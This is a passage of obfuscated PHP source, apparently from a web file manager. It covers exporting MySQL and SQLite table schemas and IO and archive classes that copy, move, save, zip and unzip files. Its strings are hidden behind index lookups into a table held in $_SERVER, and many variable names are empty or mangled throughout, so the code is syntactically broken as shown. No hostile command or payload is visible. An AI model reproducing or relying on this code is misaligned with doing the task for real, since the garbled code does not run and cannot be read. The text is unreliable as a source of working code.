$ղ[1117]); if ($ == $ղ[13]) { $ = array_diff($, array($ղ[829], $ղ[830])); $ = array($ղ[1143], $ղ[1144], $ղ[1145]); fwrite($ρ, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $ٷ) { $ = $this->sqlFromSqlite($ٷ); if (!$[$ղ[13]]) { continue; } fwrite($ρ, $[$ղ[13]] . PHP_EOL . PHP_EOL); if (!in_array($ٷ, $)) { fwrite($׽, $[$ղ[849]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $ٷ) { $ = $this->sqlFromMysql($ٷ); if (!$[$ղ[849]]) { continue; } fwrite($׽, $[$ղ[849]] . PHP_EOL . PHP_EOL); if (!in_array($ٷ, $)) { fwrite($ρ, $[$ղ[13]] . PHP_EOL . PHP_EOL); } } } fclose($׽); fclose($ρ); $먻 = array($ղ[849] => $ؤ, $ղ[13] => $ƅ); return $ ? $먻[$] : $먻; } public function dbType($ = false) { $⺖ =& $_SERVER[砐]; $ = $ ? $GLOBALS[$⺖[6]][$⺖[21]] : $this->database; $ = array_change_key_case($); $ = $[$⺖[1018]]; if ($ == $⺖[1015]) { $ = explode($⺖[4], $[$⺖[1024]]); $ = $[0]; } $կ = array($⺖[1146] => $⺖[13], $⺖[963] => $⺖[849]); if (isset($կ[$])) { $ = $կ[$]; } return $; } public function sqlFromMysql($ᑭ, $Ǖ = '') { $ӭ =& $_SERVER[砐]; $ȗ = $this->model()->db(); $Ν = $ȗ->query($ӭ[1147] . $ᑭ . $ӭ[431]); if (!$Ν || !$Ν[0]) { return !1; } $╭ = _get($Ν[0], $ӭ[1148], $ӭ[12]); if (!$╭) { return !1; } $ = "\x44\122\117\120\40\124\x41\x42\114\105\x20\111\x46\x20\x45\x58\x49\x53\x54\x53\x20\x60{$ᑭ}\x60\x3b" . PHP_EOL . $╭ . $ӭ[73]; if ($Ǖ && $Ǖ == $ӭ[849]) { return $; } $ = array_change_key_case($GLOBALS[$ӭ[6]][$ӭ[21]]); $҆ = $[$ӭ[1023]]; $ = $ӭ[1149] . $҆ . $ӭ[1150] . $ᑭ . $ӭ[58]; $з = $ӭ[1151] . $ᑭ . $ӭ[951]; $ = $ȗ->query($); if (empty($)) { $ = array($ӭ[849] => $ӭ[12], $ӭ[13] => $ӭ[12]); return $Ǖ ? $[$Ǖ] : $; } $ߗ = $ȗ->query($з); $  = $ӭ[12]; $߾ܕ = array(); foreach ($ߗ as $ͽŵ) { if (!$  && $ͽŵ[$ӭ[1152]] == $ӭ[1153]) { $  = $ͽŵ[$ӭ[1154]]; } if (isset($߾ܕ[$ͽŵ[$ӭ[1152]]])) { $߾ܕ[$ͽŵ[$ӭ[1152]]][$ӭ[1155]][] = $ͽŵ[$ӭ[1154]]; continue; } $߾ܕ[$ͽŵ[$ӭ[1152]]] = array($ӭ[1156] => $ͽŵ[$ӭ[1152]], $ӭ[1155] => array($ͽŵ[$ӭ[1154]]), $ӭ[1157] => $ͽŵ[$ӭ[1158]] == $ӭ[90] ? 0 : 1); } $ԇ = array(); foreach ($߾ܕ as $ͽŵ) { $ა = $ͽŵ[$ӭ[1156]] == $ӭ[1153]; $ = array($ӭ[1159], $ͽŵ[$ӭ[1157]] == $ӭ[90] && !$ა ? $ӭ[1160] : $ӭ[12], $ӭ[1161], $ӭ[1162] . $ᑭ . $ӭ[11] . ($ა ? $ӭ[1163] : $ͽŵ[$ӭ[1156]]) . $ӭ[120], $ӭ[1164], $ӭ[120] . $ᑭ . $ӭ[120], $ӭ[1165] . implode($ӭ[1166], $ͽŵ[$ӭ[1155]]) . $ӭ[1167]); $ԇ[] = implode($ӭ[53], $) . $ӭ[73]; } $ך§ = array(); $ = array($ӭ[1168] => $ӭ[1169], $ӭ[1169] => $ӭ[1169], $ӭ[334] => $ӭ[361], $ӭ[333] => $ӭ[361]); foreach ($ as $ͽŵ) { $ = array($ӭ[120] . $ͽŵ[$ӭ[1170]] . $ӭ[120], isset($[$ͽŵ[$ӭ[1171]]]) ? $[$ͽŵ[$ӭ[1171]]] : $ͽŵ[$ӭ[1172]], $ͽŵ[$ӭ[1173]] == $ӭ[949] ? $ӭ[1174] : $ӭ[1175], $ͽŵ[$ӭ[1170]] == $  ? $ӭ[1176] : $ӭ[12], $ͽŵ[$ӭ[1000]] ? strtoupper(str_replace($ӭ[11], $ӭ[12], $ͽŵ[$ӭ[1000]])) : $ӭ[12]); $ך§[] = trim(implode($ӭ[53], $)); } $鐡 = array($ӭ[1177] . $ᑭ . $ӭ[1178], $ӭ[1179] . $ᑭ . $ӭ[1180], implode($ӭ[50] . PHP_EOL, $ך§), $ӭ[997]); $ = implode(PHP_EOL, array_merge($鐡, $ԇ)); if ($Ǖ && $Ǖ == $ӭ[13]) { return $; } $ = array($ӭ[849] => $, $ӭ[13] => $); return $Ǖ ? $[$Ǖ] : $; } public function sqlFromSqlite($ع, $ = '') { $걫 =& $_SERVER[砐]; $ = $this->model()->db(); $ = "\x50\x52\101\107\115\101\40\124\x41\x42\114\x45\137\x49\x4e\106\x4f\40\50\x27{$ع}\x27\51"; $ = "\x53\x45\114\x45\103\x54\x20\x2a\40\106\122\117\x4d\40\x73\x71\x6c\x69\164\145\x5f\155\x61\163\x74\x65\162\x20\x57\x48\105\x52\x45\x20\x74\142\154\137\x6e\141\155\x65\x20\75\40\47{$ع}\47"; $ = $->query($); if (empty($)) { $ٸ = array($걫[849] => $걫[12], $걫[13] => $걫[12]); return $ ? $ٸ[$] : $ٸ; } $Ռ = $->query($); $瀦ʄ = $˲ = array(); foreach ($Ռ as $) { if ($[$걫[33]] == $걫[325]) { $瀦ʄ[] = $[$걫[1181]]; } else { $˲[$[$걫[32]]] = $[$걫[1181]]; } } $͞ = array_merge(array($걫[1177] . $ع . $걫[120]), $瀦ʄ, array_values($˲)); $͞ = implode($걫[73] . PHP_EOL, $͞) . $걫[73]; if ($ && $ == $걫[13]) { return $͞; } $ = array(); $ = array($걫[1169] => $걫[1182], $걫[361] => $걫[1183]); $ = $걫[12]; foreach ($ as $) { if ($[$걫[57]] == $걫[90]) { $ = $[$걫[32]]; } $؞ = array($걫[431] . $[$걫[32]] . $걫[431], isset($[$[$걫[33]]]) ? $[$[$걫[33]]] : $[$걫[33]], $[$걫[35]] == $걫[90] ? $걫[1174] : $걫[1184] . $[$걫[56]], $[$걫[57]] == $걫[90] ? $걫[1185] : $걫[12]); $[] = trim(implode($걫[53], $؞)); } foreach ($˲ as $؄ => $ڋ) { $ = str_replace($걫[1186] . $ع . $걫[11], $걫[12], $؄); $ = str_replace(array($걫[120], $걫[1008]), $걫[431], substr($ڋ, stripos($ڋ, $걫[306]))); if ($ == $걫[1163]) { $ = $걫[1187] . $ . $걫[1188]; } else { $ = (stripos($, $걫[11]) ? $걫[1189] : $걫[12]) . ($걫[1190] . $ . $걫[1191] . $); } $[] = $; } $‚ = array($걫[1192] . $ع . $걫[1193], $걫[1194] . $ع . $걫[1195], implode($걫[50] . PHP_EOL, $), $걫[1196]); $Ї = implode(PHP_EOL, $‚); if ($ && $ == $걫[849]) { return $Ї; } $ٸ = array($걫[849] => $Ї, $걫[13] => $͞); return $ ? $ٸ[$] : $ٸ; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ȶÝ, $) { $ =& $_SERVER[砐]; $ų = $; $GLOBALS[$[1197]] = $[1198] . $ȶÝ; Hook::trigger($[1198] . $ȶÝ . $[1199], $ų); $£ʧ = self::driverMake($[0]); if (!$£ʧ) { return !1; } if (method_exists($£ʧ, $ȶÝ)) { $ = @call_user_func_array(array($£ʧ, $ȶÝ), $); } else { if (method_exists($£ʧ, $[1200])) { $ = @call_user_func_array(array($£ʧ, $ȶÝ), $); } else { if (method_exists(self, $ȶÝ)) { $ = @call_user_func_array(array(self, $ȶÝ), $); } else { $ = call_user_func_array(array(parent, $ȶÝ), $); } } } Hook::trigger($[1198] . $ȶÝ . $[1201], $ų, $); return $; } public static function init($ٝޯ) { return self::driverMake($ٝޯ); } public static function copy($, $˺, $ϊ = false, $ݬˢ = false) { return self::copyMoveStart($, $˺, $ϊ, $_SERVER[砐][588], $ݬˢ); } public static function move($, $, $鹷 = false, $ = false) { return self::copyMoveStart($, $, $鹷, $_SERVER[砐][590], $); } private static function copyMoveStart($࿵, $Ƃշ, $؀, $, $ѵ) { $̤ =& $_SERVER[砐]; $ѫѠ = array($࿵, $Ƃշ, $؀, $ѵ); Hook::trigger($̤[1198] . $ . $̤[1199], $ѫѠ); $ = self::copyMove($࿵, $Ƃշ, $؀, $, $ѵ); Hook::trigger($̤[1198] . $ . $̤[1201], $ѫѠ, $); return $; } public static function saveFile($, $ݠ, $ = true) { $ʁ =& $_SERVER[砐]; $ = self::info($ݠ); $Ϥ = self::driverMake($); $ = self::driverMake($ݠ); $⧞ = !1; if ($->pathParse[$ʁ[1202]]) { $⧞ = $; $Ƭ = $->pathParse[$ʁ[1202]]; $ = self::driverMake($Ƭ); } if ($Ϥ->pathParse[$ʁ[1202]]) { $ = $Ϥ->pathParse[$ʁ[1202]]; $Ϥ = self::driverMake($); } $Ӹ = $->pathFather($ݠ); $ڄ = !0; if (!$ && self::driverIsSame($Ϥ, $)) { $ڄ = !1; } $Ԝ = self::copyFile($Ϥ, $, $, $Ӹ, $[$ʁ[32]], $ڄ); if ($⧞) { $Ԝ = $⧞->getPathOuter($Ԝ); } return $Ԝ; } private static function copyMove($纀, $ȥ, $񲲔, $ϕޤ, $ = false) { $г =& $_SERVER[砐]; if (!$纀 || $纀 == $г[8] || !$ȥ) { return !1; } ignore_timeout(); $ɿ = self::driverMake($纀); $Ԏ¡ = self::driverMake($ȥ); $ģƱ = $ϕޤ == $г[590]; $˒ = !1; if ($Ԏ¡->pathParse[$г[1202]]) { $˒ = $Ԏ¡; $ȥ = $Ԏ¡->pathParse[$г[1202]]; $Ԏ¡ = self::driverMake($ȥ); } if ($ɿ->pathParse[$г[1202]]) { $纀 = $ɿ->pathParse[$г[1202]]; $ɿ = self::driverMake($纀); } self::check($ɿ, $纀, $Ԏ¡, $ȥ); Hook::trigger($г[1203], $ɿ, $纀, $Ԏ¡, $ȥ); $ = self::driverIsSame($ɿ, $Ԏ¡); if ($) { if ($ϕޤ == $г[590] && !method_exists($Ԏ¡, $г[1204]) && trim($ȥ, $г[8]) == trim($Ԏ¡->pathFather($纀), $г[8])) { if ($ɿ->pathThis($纀) != $ && !$ɿ->isTypeObject()) { return $ɿ->rename($纀, $); } return $Ԏ¡->getPathOuter($纀); } if (method_exists($Ԏ¡, $ϕޤ)) { return $Ԏ¡->{$ϕޤ}($纀, $ȥ, $񲲔, $); } } if ($ && $ϕޤ == $г[590] && $Ԏ¡->getType() == $г[108]) { $ș = $Ԏ¡->movePath($纀, $ȥ, $); if ($ș) { return $ș; } } $ = $ɿ->isFile($纀); if (!$ && $Ԏ¡->getType() == $г[802] && $ɿ->getType() == $г[108]) { $ș = $Ԏ¡->copyFolderFromIO($ɿ, $纀, $ȥ, $񲲔, $ģƱ, $); } else { $ș = self::copyPath($ɿ, $纀, $Ԏ¡, $ȥ, $񲲔, $ģƱ, $, $); } if ($ș && $ģƱ) { $ɿ->remove($纀); } if ($˒) { $ș = $˒->getPathOuter($ș); } return $ș; } private static function check($׽, $ֲ, $, &$ʭ) { $ܑ́ =& $_SERVER[砐]; if (self::driverIsSame($׽, $) && $׽->isFolder($ֲ) && $׽->isParentOf($ֲ, $ʭ)) { show_json(LNG($ܑ́[1205]), !1); } if (!$׽->exist($ֲ)) { show_json(LNG($ܑ́[107]), !1); } } private static function copyPath($, $, $ѺǺ, $Ä, $, $, $ŵ, $ = false, $ = true) { $ǿ =& $_SERVER[砐]; $ = empty($) && $ !== $ǿ[214] ? $->pathThis($) : $; if ($) { $ɪ = $ѺǺ->fileNameExist($Ä, $); $ǝ͟ = $; $ = $ѺǺ->fileNameAuto($Ä, $, $, !$ŵ); if (!$ɪ || $ǝ͟ != $) { $ = !1; } if ($ && !$) { $ѺǺ->_data[$ǿ[1206]] = !0; } } if ($ŵ) { return self::copyFile($, $, $ѺǺ, $Ä, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($Ä, $ǿ[8]) . $ǿ[8] . $; $ = $ѺǺ->mkdir($ѺǺ->getPath($), $); $Ä = $ѺǺ->getPathInner($); $ = $->listPath($, !0); $ = is_array($) ? $ : array($ǿ[85] => array(), $ǿ[84] => array()); $ = array_merge($[$ǿ[85]], $[$ǿ[84]]); foreach ($ as $ă) { $ح = $ă[$ǿ[33]] == $ǿ[216]; $ = $->getPathInner($ă[$ǿ[86]]); $ = self::copyPath($, $, $ѺǺ, $Ä, $, $, $ح, !1, !1); if (!$) { IO::errorTips($ǿ[1207] . $ . $ǿ[72] . $Ä); } } self::copyMoveKeepInfo($, $, $); return $; } private static function copyFile($, $Ӊ, $Цߡ, $ž, $픪, $Ƀ) { $⼠ =& $_SERVER[砐]; $ž = $Цߡ->getPath(rtrim($ž, $⼠[8]) . $⼠[8] . $픪); $ = $⼠[1208] . time() . rand_string(5); Hook::trigger($⼠[1209], $, $Ӊ, $Цߡ, $ž, $픪, $); if (self::driverIsSame($, $Цߡ)) { if ($Ƀ) { $ = $Цߡ->moveFile($Ӊ, $ž); } else { $ = $Цߡ->copyFile($Ӊ, $ž); } Hook::trigger($⼠[1210], $, $Ӊ, $Цߡ, $ž, $픪, $); self::copyMoveKeepInfo($, $Ӊ, $); return $; } $ʌ = TEMP_FILES; if ($GLOBALS[$⼠[6]][$⼠[91]][$⼠[841]]) { $ʌ = $GLOBALS[$⼠[6]][$⼠[91]][$⼠[841]]; } $ᶁ = $ʌ; mk_dir($ᶁ); $ = $ᶁ . $; $Ρ = $; $ = $->download($Ӊ, $); $ = $->iconvApp($); if (substr($, strlen($ʌ)) == $ʌ) { $Ƀ = !0; } $ = $Цߡ->upload($ž, $, $Ƀ); self::remove($Ρ); Hook::trigger($⼠[1210], $, $Ӊ, $Цߡ, $ž, $픪, $); self::copyMoveKeepInfo($, $Ӊ, $); return $; } private static function copyMoveKeepInfo($훋, $, $Ɣ) { if (!$Ɣ) { return; } $ = $훋->info($); if (!is_array($)) { return; } IO::setModifyTime($Ɣ, $[$_SERVER[砐][87]]); } public static function pathFather($) { $ޅ = IO::init($); $ = $ޅ->pathFather($ޅ->path); return $ޅ->getPathOuter($); } public static function fileOut($, $좆 = false, $ = false, $ = '') { $өʹ = self::driverMake($); if ($өʹ->isFileOutServer()) { return $өʹ->fileOutServer($, $좆, $, $); } return $өʹ->fileOut($, $좆, $, $); } public static function fileOutImage($, $豞 = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $豞 <= $[$]) { $豞 = $[$]; break; } else { if ($豞 > $[$ - 1] && $豞 <= $[$]) { $豞 = $[$]; break; } else { if ($ == count($) - 1 && $豞 > $[$]) { $豞 = $[$]; break; } } } } $׊ = self::driverMake($); if ($׊->isFileOutServer()) { return $׊->fileOutImageServer($, $豞); } return $׊->fileOutImage($, $豞); } private static function driverIsSame($͡, $) { $ =& $_SERVER[砐]; $奡 = $͡->getType(); $阠 = $->getType(); if ($奡 != $阠) { return !1; } if ($奡 == $[802]) { return !0; } if ($奡 == $[108]) { return !0; } if ($͡->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($͢, $۟) { $ڞ =& $_SERVER[砐]; if (!IO::exist($͢)) { return !1; } if (!IO::exist($۟)) { IO::mkdir($۟); } $ = array_to_keyvalue(self::listAllSimple($͢), $ڞ[86]); $̮ = array_to_keyvalue(self::listAllSimple($۟), $ڞ[86]); $ = array(); $ʑ = array(); foreach ($ as $Ȑ => $ā) { if (isset($̮[$Ȑ])) { if ($ā[$ڞ[77]] == 1) { continue; } if ($̮[$Ȑ][$ڞ[78]] == $ā[$ڞ[78]]) { continue; } } if ($ā[$ڞ[77]] == 1) { $ʑ[] = $۟ . $ڞ[8] . trim($Ȑ, $ڞ[8]); continue; } $ = strstr(trim($Ȑ, $ڞ[8]), $ڞ[8]) ? get_path_father($Ȑ) : $ڞ[12]; $[] = array($ڞ[1211] => $ā[$ڞ[88]], $ڞ[1212] => rtrim($۟, $ڞ[8]) . $ڞ[8] . $, $ڞ[1213] => $ā); } $ԏ = array($ڞ[216] => $, $ڞ[77] => $ʑ); Hook::trigger($ڞ[1214], $͢, $۟, $ԏ); foreach ($ʑ as $ā) { IO::mkdir($ā); } foreach ($ as $ā) { IO::copy($ā[$ڞ[1211]], $ā[$ڞ[1212]], REPEAT_REPLACE); } } public static function fileSubstr($, $, $ڪϚ = false) { $ =& $_SERVER[砐]; $ޗ = self::driverMake($); $ = $ޗ->size($); $ = $; $Ӏ = $ڪϚ; if ($ < 0) { $ = $ + $; } if ($ڪϚ === !1) { $ڪϚ = $ - $; } if ($ + $ڪϚ > $) { $ڪϚ = $ - $; } if (!$ && $ޗ->getType() == $[108] && !$ޗ->exist($)) { $׉ = get_path_this($); $ = parse_url_query($׉); if (is_array($) && isset($[$[32]])) { $׉ = urldecode($[$[32]]); } throw new Exception($[1215] . LNG($[1216]) . $[1017] . clear_html($׉) . $[12]); } if ($ڪϚ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ڪϚ > 1024 * 1024 * 10) { throw new Exception("\146\151\154\145\x52\x65\x61\x64\x20\145\162\x72\x6f\162\41\40\163\x74\x61\x72\x74\75{$}\x3b\154\x65\156\147\x74\x68\x3d{$ڪϚ}\73\40\163\x69\172\x65\x3d{$}\73"); } $ = $ޗ->fileSubstr($, $, $ڪϚ); if (!$ && $ڪϚ && isset($GLOBALS[$[1217]])) { throw new Exception($GLOBALS[$[1217]][$[1218]]); } return $; } private static function driverMake(&$) { $ә =& $_SERVER[砐]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($ә[812])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $ә[445]); } if ($[$ә[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$ә[445]]]) { return !1; } $ = $[$ә[1219]]; $ = self::driverGet($, $); return $; } private static function driverGet($, &$ꄪ) { $ =& $_SERVER[砐]; $ = $[$[1220]]; $ = $[$[445]]; switch ($[$[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ꄪ = $ . $ꄪ; $ = array($[1221] => $[1222], $[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $¶ = $GLOBALS[$[1223]]; self::$driverListUser = array_to_keyvalue($¶, $[445]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($[1221] => $[1224], $[6] => $); $쐚 = Action($[1225])->sharePathInfo($[$[86]]); $ꄪ = $쐚[$[183]]; if (!$쐚[$[183]]) { $𐂲 = Model($[634])->getInfo($쐚[$[635]]); $ꄪ = KodIO::clear($𐂲[$[1226]] . $[$[1219]]); $[$[531]] = $𐂲; $[$[1202]] = $ꄪ; $ = array($[1221] => $[1227], $[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($[1221] => $[1228], $[6] => $); $𐂲 = Model($[634])->getInfo($[$[445]]); if ($𐂲[$[183]] == $[214]) { $ꄪ = KodIO::clear($𐂲[$[1226]] . $[$[1219]]); $[$[531]] = $𐂲; $[$[1202]] = $ꄪ; $ = array($[1221] => $[1229], $[6] => $); } else { if (!$ꄪ) { $ꄪ = $𐂲[$[183]]; } } break; default: $ꄪ = $[$[86]]; $ = array($[1221] => $[1230]); break; } $ᦤ = $[$[86]]; if (!isset(self::$driverCache[$ᦤ])) { $ = strtolower($[$[97]]); $ɋԒ = $GLOBALS[$[6]][$[91]][$[871]]; $ = $[76] . (isset($ɋԒ[$]) ? $ɋԒ[$] : ucfirst($)); if (!class_exists($)) { show_json("{$}\40\156\x6f\164\x20\x65\x78\x69\x73\164\x73\41", !1); } $ = isset($[$[6]]) ? $[$[6]] : !1; self::$driverCache[$ᦤ] = new $($); } $ = self::$driverCache[$ᦤ]; $->pathDriver = $; $->pathBase = $[12]; if (isset($[$[6]][$[1231]])) { $->pathBase = rtrim($[$[6]][$[1231]], $[8]) . $[8]; $ꄪ = $->pathBase . ltrim($ꄪ, $[8]); } $ꄪ = $->getPath($ꄪ); if (isset($[$[1202]])) { $ꄪ = $[$[1202]]; } $->path = $ꄪ; return $; } public static function errorTips($ = false) { $դ =& $_SERVER[砐]; static $ɞ = array(); $֨ = 1000; if ($ === -1) { return $ɞ ? $ɞ[count($ɞ) - 1] : $դ[12]; } if ($ === !1) { return implode($դ[248], $ɞ); } if (count($ɞ) >= $֨) { $ɞ = array_slice($ɞ, $֨ * 0.5, $֨); } $ɞ[] = $; write_log($դ[165] . ACTION . $դ[1232] . $, $դ[1233]); } public static function getLastError($ᴂМ = '') { $ޗ = self::errorTips(-1); return $ޗ ? $ޗ : $ᴂМ; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $Ĭ = IO::init($_SERVER[砐][8]); return $Ĭ; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($Մ, $ڒ = "\172\151\x70", $Ȥ = '', $ˇ܅ = REPEAT_RENAME) { $ =& $_SERVER[砐]; $݌ = IO::listPath($Մ); if (!$݌) { return !1; } $݌ = array_merge($݌[$[84]], $݌[$[85]]); return self::zip($݌, $ڒ, $Ȥ, $ˇ܅); } public static function zip($Ç, $񺹧 = "\172\x69\x70", $Âђ = '', $˽ɟ = REPEAT_RENAME) { $ĸ =& $_SERVER[砐]; if (is_string($Ç) && $Ç) { $Ç = array(array($ĸ[86] => $Ç)); } $Ȁ = self::init($Ç[0][$ĸ[86]]); $Ȱ = self::info($Ç[0][$ĸ[86]]); $ = $ĸ[12]; $ː = $ĸ[12]; $ˌө = $ĸ[12]; if ($Âђ && substr($Âђ, -1, 1) != $ĸ[8]) { $ː = get_path_father($Âђ); $ˌө = get_path_this($Âђ); } else { $ː = self::pathFather($Ȱ[$ĸ[86]]); $ˌө = $Ȱ[$ĸ[32]] . $ĸ[10] . $񺹧; if (count($Ç) > 1) { $ = IO::info($ː); $ˌө = $[$ĸ[32]] . $ĸ[10] . $񺹧; } if ($Âђ) { $ː = $Âђ; } } if ($Ȁ->getType() == $ĸ[108]) { $鑙 = self::init($ː); $ӻ͵ = $鑙->getType() == $ĸ[108] ? $ː : get_path_father($Ȁ->path); $ӻ͵ = rtrim($ӻ͵, $ĸ[8]) . $ĸ[8]; mk_dir($ӻ͵); } else { $ = TEMP_FILES . $ĸ[1234] . time() . rand_string(8) . $ĸ[8]; mk_dir($); file_put_contents($ . $ĸ[1235], $ĸ[12]); $ӻ͵ = $; } $Ț = IO::info($ӻ͵); if (!$Ț || !$Ț[$ĸ[219]]) { show_json(LNG($ĸ[1236]), !1); } $է = self::zipFileList($Ç, $); foreach ($է as $ȉ => $ݡ) { $է[$ȉ] = self::iconvSystem($ݡ); } $ = get_filename_auto($ӻ͵ . $ˌө, $ĸ[12], $˽ɟ); KodArchive::create(self::iconvSystem($), $է); if (!IO::exist($)) { if ($) { del_dir($); } show_json(LNG($ĸ[1237]), !1); } if (!$) { return $; } $Ύ = self::move($, $ː, $˽ɟ); if ($) { del_dir($); } if (!$) { show_json(LNG($ĸ[1237]), !1); } return $Ύ; } public static function unzip($̿, $, $ԙ = "\x2d\x31", $ڰ = "\x72\145\x70\x6c\x61\143\x65") { $ =& $_SERVER[砐]; $Ӱ߻ = parent::info($̿); if (!$Ӱ߻) { show_json(LNG($[1238]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$[183]]) && trim($[$[86]], $[8]) != trim($, $[8])) { $LJ߬ = KodIO::make($[$[182]]); $ = IO::fileNameAuto($LJ߬, $[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($LJ߬ . $); } $ԙ = $ԙ && $ԙ != $[1239] ? @json_decode($ԙ, !0) : -1; $̗ = self::unzipPart($̿, $ԙ); if (!$̗ || !IO::exist($̗[$[216]])) { show_json(LNG($[107]), !1); } $܎ = $̗[$[1240]][count($̗[$[1240]]) - 1]; if ($܎[$[1241]] == -1 || substr($܎[$[32]], -1, 1) == $[8]) { $̆ = $̗[$[1242]] . rand_string(10) . $[8]; mk_dir($̆); $nj = count($̗[$[1240]]) == 1 ? IO::ext($̿) : get_path_ext($̗[$[216]]); $ݫ = KodArchive::extract(self::iconvSystem($̗[$[216]]), $̆, $܎[$[1241]], $, $nj); self::unzipErrorCheck($ݫ, array($[1243], $̿, $nj, $, $̗)); Hook::trigger($[1244], $̆); recursion_dir($̆, $, $, 0); $ÿ = array_merge($, $); $͆ = array(); foreach ($ÿ as $) { $ϊ = IO::move(self::iconvApp($), $, $ڰ); if ($ϊ) { $͆[] = $ϊ; } } del_dir($̆); } else { $ϊ = IO::move($̗[$[216]], $, $ڰ, get_path_this($܎[$[32]])); if ($ϊ) { $͆[] = $ϊ; } } return $͆ ? $͆ : !1; } public static function unzipList($ڮ) { $ =& $_SERVER[砐]; $ = isset($ڮ[$[1245]]) ? $ڮ[$[1245]] : !1; $Օ = isset($ڮ[$[1241]]) ? @json_decode($ڮ[$[1241]], !0) : -1; $ = self::unzipPart($ڮ[$[86]], $Օ); if (!$ || !IO::exist($[$[216]])) { show_json(LNG($[107]), !1); } $咭 = $[$[1240]][count($[$[1240]]) - 1]; $߉ = in_array(IO::ext($[$[216]]), array($[359], $[1246], $[1247], $[1248], $[1249], $[1250])); if (!$ && ($咭[$[1241]] == -1 || $߉)) { $ס⮊ = $[$[1242]] . get_path_this($[$[216]]) . $[1251]; if (!IO::exist($ס⮊)) { $ = $咭[$[1241]] == -1 ? get_path_ext(IO::pathThis($ڮ[$[86]])) : get_path_ext($[$[216]]); $ = KodArchive::listContent(self::iconvSystem($[$[216]]), !0, $); self::unzipErrorCheck($, array($[1252], $ڮ, $)); @file_put_contents($ס⮊, json_encode($[$[1253]])); } return @json_decode(IO::getContent($ס⮊), !0); } IO::fileOut($[$[216]], $, get_path_this($咭[$[32]])); die; } private static function zipFileList($遟, $ƞ = false) { $蓳 =& $_SERVER[砐]; $ = array(); foreach ($遟 as $ڧ) { $ͳ = $ڧ[$蓳[86]]; if ($ƞ) { $ͳ = self::copy($ڧ[$蓳[86]], $ƞ, $蓳[863]); } else { $Ί = self::init($ڧ[$蓳[86]]); if ($Ί->getType() == $蓳[108]) { $ͳ = $Ί->path; } } if ($ͳ && self::local()->exist($ͳ)) { $[$ڧ[$蓳[86]]] = $ͳ; } } if (!empty($)) { return array_values($); } show_json(LNG($蓳[1216]), !1); } private static function localFilePath($) { $ɉ =& $_SERVER[砐]; $ѲȜ = KodIO::parse($); if ($ѲȜ[$ɉ[33]] == KodIO::KOD_SOURCE) { $⛶܍ = Model($ɉ[870])->fileInfoGet(KodIO::sourceID($)); if (!$⛶܍[$ɉ[86]]) { show_json($ɉ[1254], !1); } $ = $⛶܍[$ɉ[86]]; } $ʛ߬ = self::init($); if ($ʛ߬->pathParse[$ɉ[1202]]) { $ = $ʛ߬->pathParse[$ɉ[1202]]; $ʛ߬ = self::init($); } $ = $ʛ߬->getType(); if ($ == $ɉ[108] || $ == $ɉ[1255]) { if (!$ʛ߬->exist($ʛ߬->path)) { show_json(LNG($ɉ[107]), !1); } return $ʛ߬->path; } return !1; } public static function unzipPart($ʋØ, $ = -1) { $ =& $_SERVER[砐]; $覰 = IO::pathThis($ʋØ); if (!$ || $ == -1) { $ĥԵ = array(array($[32] => $覰, $[1241] => -1)); $ĥԵ[0][$[1256]] = $ĥԵ[0][$[32]]; } else { if (is_array($)) { $ĥԵ = $; $׸ܫ = count($ĥԵ) - 1; for ($ = 0; $ <= $׸ܫ; $++) { $ݣ = $ĥԵ[$]; $ޯ = get_path_this($ݣ[$[32]]) . (checkExtSafe($ݣ[$[32]]) ? $[12] : $[1257]); $ĥԵ[$][$[1256]] = $[1258] . intval($ݣ[$[1241]]) . $[432] . $ޯ; if ($ == 0) { continue; } $ĥԵ[$][$[1256]] = $ĥԵ[$ - 1][$[1256]] . $[1259] . $ĥԵ[$][$[1256]]; } } } if (!is_array($ĥԵ) || count($ĥԵ) == 0) { return !1; } $ = $ĥԵ[count($ĥԵ) - 1]; if (!IO::exist($ʋØ)) { return !1; } $ꇜ = TEMP_FILES . $[1260] . kodIO::hashPathSafe($ʋØ) . $[8]; $ = $ꇜ . $[$[1256]]; mk_dir($ꇜ); file_put_contents(TEMP_FILES . $[1235], $[12]); if (IO::exist($)) { return array($[216] => $, $[1240] => $ĥԵ, $[1242] => $ꇜ); } $ = self::localFilePath($ʋØ); if (!$) { $ = $ꇜ . $[1261]; if (!IO::exist($)) { self::copy($ʋØ, $ꇜ, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$[1241]] == -1) { return array($[216] => $, $[1240] => $ĥԵ, $[1242] => $ꇜ); } $ = $; foreach ($ĥԵ as $ => $ݣ) { if (!$ݣ || $ݣ[$[1241]] == $[1239]) { break; } if (substr($ݣ[$[32]], -1, 1) == $[8]) { break; } $鄕 = in_array(get_path_ext($ݣ[$[1256]]), array($[359], $[1246], $[1247], $[1248], $[1249], $[1250])); $Ĵ = $ == count($ĥԵ) - 1 && $鄕; $ߘ = $ꇜ . $ݣ[$[1256]]; $ښ = $ꇜ . get_path_this($ݣ[$[32]]); if (IO::exist($ߘ)) { $ = $ߘ; continue; } $ = $ == 0 ? get_path_ext($覰) : get_path_ext($); $ = KodArchive::extract(self::iconvSystem($), $ꇜ, $ݣ[$[1241]], $Ϲ, $); self::unzipErrorCheck($, array($[1262], $ʋØ, 